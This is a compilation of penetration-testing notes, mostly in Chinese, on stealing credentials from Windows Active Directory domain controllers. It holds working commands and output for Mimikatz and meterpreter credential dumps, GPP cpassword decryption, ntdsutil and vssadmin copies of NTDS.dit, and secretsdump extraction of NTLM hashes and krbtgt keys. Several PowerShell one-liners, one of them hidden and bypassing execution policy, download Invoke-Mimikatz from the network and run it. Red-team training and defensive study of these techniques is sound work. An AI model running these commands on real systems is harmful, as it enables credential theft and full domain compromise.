0;1278946  Negotiate  PENTEST       demo           n.a. (livessp KO)
0;1278920  Kerberos   PENTEST       demo           n.a. (livessp KO)
0;145416   Kerberos   PENTEST       administrator  n.a. (livessp KO)
0;996      Negotiate  PENTEST       DC$            n.a. (livessp KO)
0;35844    NTLM                                    n.a. (livessp KO)
0;997      Negotiate  NT AUTHORITY  LOCAL SERVICE  n.a. (livessp KO)
0;999      Negotiate  PENTEST       DC$            n.a. (livessp KO)

meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID     Package    Domain        User           Password
------     -------    ------        ----           --------
0;35844    NTLM                                    
0;997      Negotiate  NT AUTHORITY  LOCAL SERVICE  
0;999      Negotiate  PENTEST       DC$            77 e7 00 bd c7 4e 10 ed 24 6f d0 a6 96 c4 38 0e 1d 11 70 d1 e1 09 1c 83 da 08 a5 fc e8 57 f1 6f 78 66 d8 bf 60 fd fb 18 56 ea 1a f7 06 b8 fa fd 9a d7 1d 61 44 9a ee ea 81 57 73 b7 c2 1d d2 ba 6b bb ec f1 97 f1 26 1b fc 2e e6 a3 21 90 62 7b f1 5b 72 4e c2 43 cc 74 cb 98 f9 7f 74 66 4e 04 fa b1 a4 71 4e 69 50 37 bc 3e 7b 8f 25 75 10 01 8e aa 99 62 72 96 e7 69 66 24 b4 57 a6 ce 49 cb b3 8e a0 fa e7 c2 05 d8 cb b1 55 07 2f 34 6e b9 de ae 4e 5d 98 d2 6f 56 56 0a 8e 6f 99 d2 d0 cf 2c 19 70 d9 2a 49 ba 49 8f 77 bf 15 85 74 a2 98 e4 99 df d4 3d 1c d4 35 c6 3b 0c 84 d7 e8 48 bf 0b 5b 62 b8 e5 0b 42 cd 5b 17 5f d9 13 9c 1e 5e 0c 44 d5 00 83 3b 5f f9 83 66 98 6d 6a e5 15 8f 27 35 82 bc 2e 52 e5 59 a2 17 5c 09 5a a9 56 a0
0;996      Negotiate  PENTEST       DC$            77 e7 00 bd c7 4e 10 ed 24 6f d0 a6 96 c4 38 0e 1d 11 70 d1 e1 09 1c 83 da 08 a5 fc e8 57 f1 6f 78 66 d8 bf 60 fd fb 18 56 ea 1a f7 06 b8 fa fd 9a d7 1d 61 44 9a ee ea 81 57 73 b7 c2 1d d2 ba 6b bb ec f1 97 f1 26 1b fc 2e e6 a3 21 90 62 7b f1 5b 72 4e c2 43 cc 74 cb 98 f9 7f 74 66 4e 04 fa b1 a4 71 4e 69 50 37 bc 3e 7b 8f 25 75 10 01 8e aa 99 62 72 96 e7 69 66 24 b4 57 a6 ce 49 cb b3 8e a0 fa e7 c2 05 d8 cb b1 55 07 2f 34 6e b9 de ae 4e 5d 98 d2 6f 56 56 0a 8e 6f 99 d2 d0 cf 2c 19 70 d9 2a 49 ba 49 8f 77 bf 15 85 74 a2 98 e4 99 df d4 3d 1c d4 35 c6 3b 0c 84 d7 e8 48 bf 0b 5b 62 b8 e5 0b 42 cd 5b 17 5f d9 13 9c 1e 5e 0c 44 d5 00 83 3b 5f f9 83 66 98 6d 6a e5 15 8f 27 35 82 bc 2e 52 e5 59 a2 17 5c 09 5a a9 56 a0
0;145416   Kerberos   PENTEST       administrator  This is long Password!@#
0;1278920  Kerberos   PENTEST       demo           pasPAS1234~
0;1278946  Negotiate  PENTEST       demo           pasPAS1234~

How-to-dump-windows2012-credentials

SYSVOL和组策略首选项中的密码

这种方法是最简单的,因为不需要特殊的黑客工具。 攻击者所要做的就是打开Windows资源管理器,搜索XML文件的SYSVOL DFS共享域。 大多数情况下,以下XML文件将包含凭据:groups.xml,scheduledtasks.xml和&Services.xml。

SYSVOL是所有经过身份验证的用户具有读取权限的Active Directory中的域范围共享。 SYSVOL包含登录脚本,组策略数据和其他域控制器数据,这些数据在任何有域控制器的地方都可用(因为SYSVOL是在所有域控制器之间自动同步和共享的)。 所有域组策略都存储在这里:\\SYSVOL<DOMAIN>\Policies\
当创建一个新的GPP时,会在SYSVOL中创建一个关联的XML文件以及相关的配置数据,如果提供了密码,那么它是AES-256位加密的,应该足够强。

除了2012年之前,微软在MSDN上发布了AES加密密钥(共享密钥),可以用来解密密码。 由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对SYSVOL的读取权限,因此域中的任何人都可以搜索SYSVOL共享中包含cpassword的XML文件,该密码是包含AES加密密码的值。

通过访问这个XML文件,攻击者可以使用AES私钥解密GPP密码。 PowerSploit函数Get-GPPPassword对于组策略首选项开发非常有用。 这里的屏幕截图显示了一个类似的PowerShell函数,它可以从SYSVOL中的XML文件中加密GPP密码。

PS C:\Users\Administrator\Desktop> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1")
PS C:\Users\Administrator\Desktop> Get-GPPPassword
msf post(gpp) > show options

Module options (post/windows/gather/credentials/gpp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   ALL      true             no        Enumerate all domains on network.
   DOMAINS  THEGEEKSTUFF     no        Enumerate list of space seperated domains DOMAINS="dom1 dom2".
   SESSION  1                yes       The session to run this module on.
   STORE    true             no        Store the enumerated files in loot.

msf post(gpp) > run

[*] Checking for group policy history objects...
[-] Error accessing C:\ProgramData\Microsoft\Group Policy\History : stdapi_fs_ls: Operation failed: The system cannot find the path specified.
[*] Checking for SYSVOL locally...
[+] SYSVOL Group Policy Files found locally
[*] Enumerating the user supplied Domain(s): THEGEEKSTUFF...
[*] Enumerating DCs for THEGEEKSTUFF on the network...
[-] ERROR_NO_BROWSER_SERVERS_FOUND
[-] No Domain Controllers found for THEGEEKSTUFF
[*] Searching for Group Policy XML Files...
[*] Post module execution completed
metasploit-framework [rapid7-master] ->> ./tools/password/cpassword_decrypt.rb j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
[+] The decrypted AES password is: Local*P4ssword!

要么

你也可以用gpp_password_decrypt.py来做。

Dump credentials with Invoke-Mimikatz

Invoke-Mimikatz应该能够通过安装了PowerShell v2或更高版本的Windows 8.1从任何版本的Windows dump 凭据。

PS C:\Users\Administrator\Desktop> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1")
PS C:\Users\Administrator\Desktop> Invoke-Mimikatz

or

C:\Windows\system32> powershell.exe -exec bypass -windows hidden -c IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1");Invoke-Mimikatz

使用任务管理器(获取域管理员凭据)dump LSASS内存

一旦LSASS被dump,Mimikatz可以被用来从另一个系统上的LSASS.dmp文件中提取已登录的凭据。 在域控制器上,这几乎都是域管理员的凭据。

PS C:\Users\Administrator\Desktop\MimikatzX64> .\mimikatz.exe

  .#####.   mimikatz 2.1 (x64) built on Oct 29 2016 21:27:40
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz # sekurlsa::minidump C:\Users\Administrator\Desktop\lsass.DMP
Switch to MINIDUMP : 'C:\Users\Administrator\Desktop\lsass.DMP'

mimikatz # sekurlsa::logonpasswords
Opening : 'C:\Users\Administrator\Desktop\lsass.DMP' file for minidump...

Authentication Id : 0 ; 391874 (00000000:0005fac2)
Session           : Interactive from 1
User Name         : Administrator
Domain            : THEGEEKSTUFF
Logon Server      : SERVER
Logon Time        : 2016/11/5 12:08:54
SID               : S-1-5-21-2783134295-2946968820-3756090084-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : THEGEEKSTUFF
         * NTLM     : fc1fc80e9f128261a6bc463cb31e65b5
         * SHA1     : 9fb867ff5ae033514134f54b5bacfa209d135125
         [00010000] CredentialKeys
         * NTLM     : fc1fc80e9f128261a6bc463cb31e65b5
         * SHA1     : 9fb867ff5ae033514134f54b5bacfa209d135125
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : THEGEEKSTUFF
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : THEGEEKSTUFF.COM
         * Password : (null)
        ssp :   KO
        credman :

Authentication Id : 0 ; 66164 (00000000:00010274)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2016/11/5 12:07:53
SID               : S-1-5-90-1
        msv :
         [00000003] Primary
         * Username : SERVER$
         * Domain   : THEGEEKSTUFF
         * NTLM     : 708faf9c9842a10735ecab33cc64ed37
         * SHA1     : 170fc50c1613bc049225066bba08514ac35f1bce
        tspkg :
        wdigest :
         * Username : SERVER$
         * Domain   : THEGEEKSTUFF
         * Password : (null)
        kerberos :
         * Username : SERVER$
         * Domain   : thegeekstuff.com
         * Password : 0c f1 e2 be 81 2f 1e 4d a2 90 14 dc 84 1f c1 8c 41 0e e3 9b 7d 49 49 30 c8 63 b4 59 a9 d2 9e 08 e1
 aa 9c 40 dc 5b c8 17 42 7e a7 7f e4 f6 9f 1d 80 a7 ee 1c 00 7e 19 ce 5b 4a b4 53 f4 7f 45 8f 49 71 03 a6 55 12 0e c4 3f
 9d 87 a4 0d ca 5c bd 6d eb 6f 4e cb d7 3f 8c e9 39 07 26 65 fc c6 ac cb 81 31 7f 55 dd ac 8a 49 1d 16 a8 79 8b 2d 33 b7
 2d 42 f5 19 a5 17 32 56 88 c0 e2 08 50 62 0b c9 f2 e9 47 13 cb 72 20 d3 b2 b7 ba f3 54 c4 27 86 2c 71 b3 33 dc 9d 77 ff
 27 16 43 5c 8e fb fa ab 89 e0 f8 ae f1 b1 be 58 c0 e5 7b 76 a9 d4 80 37 18 6d 47 0d 7e 2b aa 0c cd b5 cb be 77 21 77 d1
 52 d8 ba 5a 0f 5d 0e 74 7c 97 05 00 27 a0 51 cb 3b 95 d5 a7 55 37 49 0d 84 7a f6 d8 96 30 d3 06 a8 cb a3 91 8e 98 ad b7
 8a 86 a9 c8 b8 ea c3
        ssp :   KO
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : SERVER$
Domain            : THEGEEKSTUFF
Logon Server      : (null)
Logon Time        : 2016/11/5 12:07:53
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : SERVER$
         * Domain   : THEGEEKSTUFF
         * NTLM     : 708faf9c9842a10735ecab33cc64ed37
         * SHA1     : 170fc50c1613bc049225066bba08514ac35f1bce
        tspkg :
        wdigest :
         * Username : SERVER$
         * Domain   : THEGEEKSTUFF
         * Password : (null)
        kerberos :
         * Username : server$
         * Domain   : THEGEEKSTUFF.COM
         * Password : (null)
        ssp :   KO
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2016/11/5 12:07:54
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :   KO
        credman :

Authentication Id : 0 ; 66429 (00000000:0001037d)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2016/11/5 12:07:53
SID               : S-1-5-90-1
        msv :
         [00000003] Primary
         * Username : SERVER$
         * Domain   : THEGEEKSTUFF
         * NTLM     : 708faf9c9842a10735ecab33cc64ed37
         * SHA1     : 170fc50c1613bc049225066bba08514ac35f1bce
        tspkg :
        wdigest :
         * Username : SERVER$
         * Domain   : THEGEEKSTUFF
         * Password : (null)
        kerberos :
         * Username : SERVER$
         * Domain   : thegeekstuff.com
         * Password : 0c f1 e2 be 81 2f 1e 4d a2 90 14 dc 84 1f c1 8c 41 0e e3 9b 7d 49 49 30 c8 63 b4 59 a9 d2 9e 08 e1
 aa 9c 40 dc 5b c8 17 42 7e a7 7f e4 f6 9f 1d 80 a7 ee 1c 00 7e 19 ce 5b 4a b4 53 f4 7f 45 8f 49 71 03 a6 55 12 0e c4 3f
 9d 87 a4 0d ca 5c bd 6d eb 6f 4e cb d7 3f 8c e9 39 07 26 65 fc c6 ac cb 81 31 7f 55 dd ac 8a 49 1d 16 a8 79 8b 2d 33 b7
 2d 42 f5 19 a5 17 32 56 88 c0 e2 08 50 62 0b c9 f2 e9 47 13 cb 72 20 d3 b2 b7 ba f3 54 c4 27 86 2c 71 b3 33 dc 9d 77 ff
 27 16 43 5c 8e fb fa ab 89 e0 f8 ae f1 b1 be 58 c0 e5 7b 76 a9 d4 80 37 18 6d 47 0d 7e 2b aa 0c cd b5 cb be 77 21 77 d1
 52 d8 ba 5a 0f 5d 0e 74 7c 97 05 00 27 a0 51 cb 3b 95 d5 a7 55 37 49 0d 84 7a f6 d8 96 30 d3 06 a8 cb a3 91 8e 98 ad b7
 8a 86 a9 c8 b8 ea c3
        ssp :   KO
        credman :

Authentication Id : 0 ; 44395 (00000000:0000ad6b)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2016/11/5 12:07:52
SID               :
        msv :
         [00000003] Primary
         * Username : SERVER$
         * Domain   : THEGEEKSTUFF
         * NTLM     : 708faf9c9842a10735ecab33cc64ed37
         * SHA1     : 170fc50c1613bc049225066bba08514ac35f1bce
        tspkg :
        wdigest :
        kerberos :
        ssp :   KO
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : SERVER$
Domain            : THEGEEKSTUFF
Logon Server      : (null)
Logon Time        : 2016/11/5 12:07:52
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : SERVER$
         * Domain   : THEGEEKSTUFF
         * Password : (null)
        kerberos :
         * Username : server$
         * Domain   : THEGEEKSTUFF.COM
         * Password : (null)
        ssp :   KO
        credman :

mimikatz # exit
Bye!
PS C:\Users\Administrator\Desktop\MimikatzX64>

使用NTDSUtil(抓取NTDS.dit文件)创建从媒体安装(IFM):

NTDSUtil是本地处理AD DB的命令实用程序(ntds.dit),并为DCPromo启用IFM集创建。 IFM与DCPromo一起用于从媒体安装,因此被升级的服务器不需要通过网络从另一个DC复制域数据。 IFM集是在此实例中在c:\temp中创建的NTDS.dit文件的副本。

这个文件可能会在一个共享上分享新的DC,或者可能在尚未推广的新服务器上找到。 此服务器可能无法正常保护。

C:\Users\Administrator>ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
ntdsutil: ac i ntds
活动实例设置为“ntds”。
ntdsutil: ifm
ifm: create full c:\temp
正在创建快照...
成功生成快照集 {03d7e751-8489-4bee-b7c1-fde165f87426}。
快照 {e236f8b9-10e5-4404-ac4d-843f1db29f1e} 已作为 C:\$SNAP_201611051210_VOLUMEC$\ 装载
已装载快照 {e236f8b9-10e5-4404-ac4d-843f1db29f1e}。
正在启动碎片整理模式...
     源数据库: C:\$SNAP_201611051210_VOLUMEC$\Windows\NTDS\ntds.dit
     目标数据库: c:\temp\Active Directory\ntds.dit

                  Defragmentation  Status (% complete)

          0    10   20   30   40   50   60   70   80   90  100
          |----|----|----|----|----|----|----|----|----|----|
          ...................................................

正在复制注册表文件...
正在复制 c:\temp\registry\SYSTEM
正在复制 c:\temp\registry\SECURITY
快照 {e236f8b9-10e5-4404-ac4d-843f1db29f1e} 已卸载。
在 c:\temp 中成功创建 IFM 媒体。
ifm: q
ntdsutil: q

从NTDS.dit中提取hash

一旦攻击者拥有NTDS.dit文件的副本(以及某些注册表项来解密数据库文件中的安全元素),则可以提取Active Directory数据库文件中的凭据数据。

从NTDS.dit文件中提取密码哈希的一种方法是Impacket的secretsdump.py(Kali等)。 只需要DC注册表中的ntds.dit文件和System配置文件(这两个文件都具有从ntdsutil设置的从介质安装(IFM))。

$ git clone https://github.com/CoreSecurity/impacket/
$ cd impacket/examples/
$ secretsdump.py -system /home/seclab/windows-2012/ntds/registry/SYSTEM -security /home/seclab/windows-2012/ntds/registry/SECURITY -ntds /home/seclab/windows-2012/ntds/Active\ Directory/ntds.dit LOCAL
Impacket v0.9.16-dev - Copyright 2002-2016 Core Security Technologies

[*] Target system bootKey: 0xb6570f7db706f37a5b79e72ab8c44b8a
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:708faf9c9842a10735ecab33cc64ed37
[*] DefaultPassword
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM
 0000   01 00 00 00 8F 04 A9 BA  67 3B 83 81 09 62 0E 80   ........g;...b..
 0010   81 81 DB 99 FF 3E 7A F8  EE 80 BC 7F 8F C8 FA DE   .....>z.........
 0020   3D BE 24 6D 30 38 84 48  1A 5F B3 11               =.$m08.H._..
[*] NL$KM
 0000   39 7B 96 FE 24 6D B9 58  44 A6 DF 78 77 F9 78 C9   9{..$m.XD..xw.x.
 0010   72 F8 57 E6 C9 60 65 07  50 F5 EA 81 D7 5B A1 D2   r.W..`e.P....[..
 0020   D3 46 E8 67 3F C1 C8 8C  44 91 EA 62 20 9E 5A 58   .F.g?...D..b .ZX
 0030   E4 C1 25 24 4F 01 6F AF  88 04 5F 33 89 FE D5 1E   ..%$O.o..._3....
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 0487dfc92c64213bdf39ca382d7baea8
[*] Reading and decrypting hashes from /home/seclab/windows-2012/ntds/Active Directory/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc1fc80e9f128261a6bc463cb31e65b5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SERVER$:1003:aad3b435b51404eeaad3b435b51404ee:708faf9c9842a10735ecab33cc64ed37:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:23ed7e50c091488d46c46ca69b428979:::
wchen:1109:aad3b435b51404eeaad3b435b51404ee:fe72ec788d6739b4ac05033fecae793c:::
jhart:1110:aad3b435b51404eeaad3b435b51404ee:d491885ff154677f71291be4517d7177:::
SERVER2008$:1111:aad3b435b51404eeaad3b435b51404ee:db96a49b7ecf92cfd3a20b0c8048eef1:::
john:1112:aad3b435b51404eeaad3b435b51404ee:6944c3f3a4ad58896b5fdb55b29f4fdf:::
JOHN$:1113:aad3b435b51404eeaad3b435b51404ee:3926a5fc5b0eb8b373ebfc37d2f478d6:::
[*] Kerberos keys from /home/seclab/windows-2012/ntds/Active Directory/ntds.dit
SERVER$:aes256-cts-hmac-sha1-96:cc03dbc4f30db35f8f2a3894f3dccea99207f6180db7c9f98a1a363f80986e22
SERVER$:aes128-cts-hmac-sha1-96:a43c9870cf2798fd86eb502391281df9
SERVER$:des-cbc-md5:b9ef3b08b55e8998
krbtgt:aes256-cts-hmac-sha1-96:f5f37669f8fe6b10a3b65dddf09f80f78b1ce1f351e47130adfb70aa81eeff82
krbtgt:aes128-cts-hmac-sha1-96:a3bea9e21a87976f582de5a9a4c6784a
krbtgt:des-cbc-md5:028adaf497028076
wchen:aes256-cts-hmac-sha1-96:c979d56fa938026e30ef8e8959ded691dcdc1abfb62c79e9061e42cb3ea5cd6f
wchen:aes128-cts-hmac-sha1-96:464ee4707eb40a19d833afe1e5be6244
wchen:des-cbc-md5:0be69b2ada3dbcf4
jhart:aes256-cts-hmac-sha1-96:d1bb033c02346050588ac074871f7c13be08952936d0443221de2af820181407
jhart:aes128-cts-hmac-sha1-96:dc6f858f75486dd03f9b88dd3a0cd41f
jhart:des-cbc-md5:895d10bf830d7961
SERVER2008$:aes256-cts-hmac-sha1-96:f88aa76cd58df5804762bcae3607a36566b299394622cd3a04e0f63baa179527
SERVER2008$:aes128-cts-hmac-sha1-96:ff258dfec8bfb3c0683eafb49799b943
SERVER2008$:des-cbc-md5:cb5e5e32dfa475b6
john:aes256-cts-hmac-sha1-96:6fb59e65a4ba99987759e87f4aa2435f155a15233ddc1eb763250d495f94212e
john:aes128-cts-hmac-sha1-96:7e57a1d9f658456ec4ce24282d80a835
john:des-cbc-md5:ea8aadecea46e6c4
JOHN$:aes256-cts-hmac-sha1-96:05edf93acc4dd9c08af27f1c3ee8674185087e5321b57f290ac764c1bfdc025c
JOHN$:aes128-cts-hmac-sha1-96:529d1632aa0283f7ba2d1c4ca216a22f
JOHN$:des-cbc-md5:e029798f8f92e0da
[*] Cleaning up...

参考

  1. https://www.youtube.com/watch?v=0WyBxwJD_c0
  2. http://www.thegeekstuff.com/2014/11/install-active-directory
  3. How Attackers Dump Active Directory Database Credentials
  4. How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller
  5. Attack Methods for Gaining Domain Admin Rights in Active Directory
  6. Unofficial Guide to Mimikatz & Command Reference

how-to-use-vssadmin

Vssadmin

适用于:Windows Server 2003,Windows Server 2008,Windows Server 2003 R2,Windows Server 2008 R2,Windows Server 2012,Windows 8

Command Description
Vssadmin add shadowstorage 添加卷影副本存储关联.
Vssadmin create shadow 创建一个新卷卷影副本.
Vssadmin delete shadows 删除卷影副本.
Vssadmin delete shadowstorage 删除卷影副本存储关联.
Vssadmin list providers 列出注册卷影复制提供程序.
Vssadmin list shadows 列出现有的卷影副本.
Vssadmin list shadowstorage 列出系统上的所有卷影副本存储关联.
Vssadmin list volumes 列出符合卷影副本的卷.
Vssadmin list writers 列出系统上所有订阅的卷影复制者.
Vssadmin resize shadowstorage 调整卷影副本存储关联的最大大小.

拥有管理员权限

PS C:\Users\Administrator\Desktop>vssadmin List Shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

Error: You don't have the correct permissions to run this command.  Please run t
his utility from a command
window that has elevated administrator privileges.

List Shadows

C:\Windows\system32>vssadmin List Shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

No items found that satisfy the query.

Create Shadow

C:\Windows\system32>vssadmin Create Shadow /for=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

Successfully created shadow copy for 'C:\'
    Shadow Copy ID: {153b6835-be81-45ed-bd01-2edbf4f61a85}
    Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

####Copy Files

PS C:\Users\Administrator\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
PS C:\Users\Administrator\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C
:\temp\
PS C:\Users\Administrator\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\t
emp\

C:\Windows\system32>vssadmin List Shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

Contents of shadow copy set ID: {7b37f005-c738-450c-83cd-ad2f237f2b28}
   Contained 1 shadow copies at creation time: 11/5/2016 1:19:40 AM
      Shadow Copy ID: {153b6835-be81-45ed-bd01-2edbf4f61a85}
         Original Volume: (C:)\\?\Volume{be4f748a-a19f-11e6-a5bb-806e6f6e6963}\
         Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
         Originating Machine: SERVER2008.thegeekstuff.com
         Service Machine: SERVER2008.thegeekstuff.com
         Provider: 'Microsoft Software Shadow Copy provider 1.0'
         Type: ClientAccessible
         Attributes: Persistent, Client-accessible, No auto release, No writers,
 Differential

Delete Shadows

 C:\Windows\system32>vssadmin Delete Shadows /For=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.

Do you really want to delete 1 shadow copies (Y/N): [N]? Y

Successfully deleted 1 shadow copies.

Invoke-NinjaCopy

PS C:\Users\Administrator> Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -ComputerName SERVER -localDestination "C:\temp\SYSTEM"
PS C:\Users\Administrator> Invoke-NinjaCopy -Path "C:\Windows\NTDS\NTDS.dit" -ComputerName SERVER -localDestination "C:\temp\NTDS.dit"

参考

  1. https://technet.microsoft.com/en-us/library/cc754968(v=ws.11).aspx
  2. Tutorial for NTDS goodness (VSSADMIN, WMIS, NTDS.dit, SYSTEM)/)
  3. How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller
  4. https://clymb3r.wordpress.com/2013/06/13/using-powershell-to-copy-ntds-dit-registry-hives-bypass-sacls-dacls-file-locks/
  5. https://github.com/clymb3r/PowerShell/blob/master/Invoke-NinjaCopy/Invoke-NinjaCopy.ps1
  6. http://blog.csdn.net/zjull/article/details/11819923

PowerSploit_Invoke-Mimikatz_in_cmd

C:\Windows\system32>powershell -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Dec 14 2015 18:03:07)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 17 modules * * */


mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 446842 (00000000:0006d17a)
Session           : Interactive from 1
User Name         : test
Domain            : lab
Logon Server      : LAB
Logon Time        : 10/14/2016 6:38:14 AM
SID               : S-1-5-21-2035202921-1308571849-2301429434-1000
        msv :
         [00000003] Primary
         * Username : test
         * Domain   : lab
         * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
         * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
         [00010000] CredentialKeys
         * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
         * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
        tspkg :
         * Username : test
         * Domain   : lab
         * Password : password
        wdigest :
         * Username : test
         * Domain   : lab
         * Password : password
        kerberos :
         * Username : test
         * Domain   : lab
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 446819 (00000000:0006d163)
Session           : Interactive from 1
User Name         : test
Domain            : lab
Logon Server      : LAB
Logon Time        : 10/14/2016 6:38:14 AM
SID               : S-1-5-21-2035202921-1308571849-2301429434-1000
        msv :
         [00010000] CredentialKeys
         * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
         * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
         [00000003] Primary
         * Username : test
         * Domain   : lab
         * NTLM     : 8846f7eaee8fb117ad06bdd830b7586c
         * SHA1     : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
        tspkg :
         * Username : test
         * Domain   : lab
         * Password : password
        wdigest :
         * Username : test
         * Domain   : lab
         * Password : password
        kerberos :
         * Username : test
         * Domain   : lab
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 10/14/2016 6:37:59 AM
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : LAB$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 10/14/2016 6:37:59 AM
SID               : S-1-5-20
        msv :
        tspkg :
        wdigest :
         * Username : LAB$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : lab$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 54335 (00000000:0000d43f)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 10/14/2016 6:37:58 AM
SID               :
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : LAB$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 10/14/2016 6:37:58 AM
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : LAB$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : lab$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

mimikatz(powershell) # exit
Bye!

Windows_AD_commands

net view
net view /domain
net view /domain:DOMAINNAME
net view \\domain-control
net user
net user /domain
net localgroup administrators
net localgroup administrators /domain
net group /domain
net group "Domain Admins" /domain
net group "Domain Computers" /domain
net group "Domain Controllers" /domain
net group "Group Policy Creator Owners" /domain
net time /domain
net config
net session
net use \\ip\ipc$ password /user:username
net share
net accounts /domain
wmic useraccount
wmic useraccount LIST FULL
wmic useraccount LIST BRIEF
wmic useraccount LIST STATUS
wmic startup
wmic share
wmic service
wmic process where name="[PROCESS]" call terminate
wmic process where ProcessId="[PID]" call terminate
wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt"
wmic qfe get hotfixid
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber
wmic bios
wmic bios LIST FULL
netsh firewall show conf
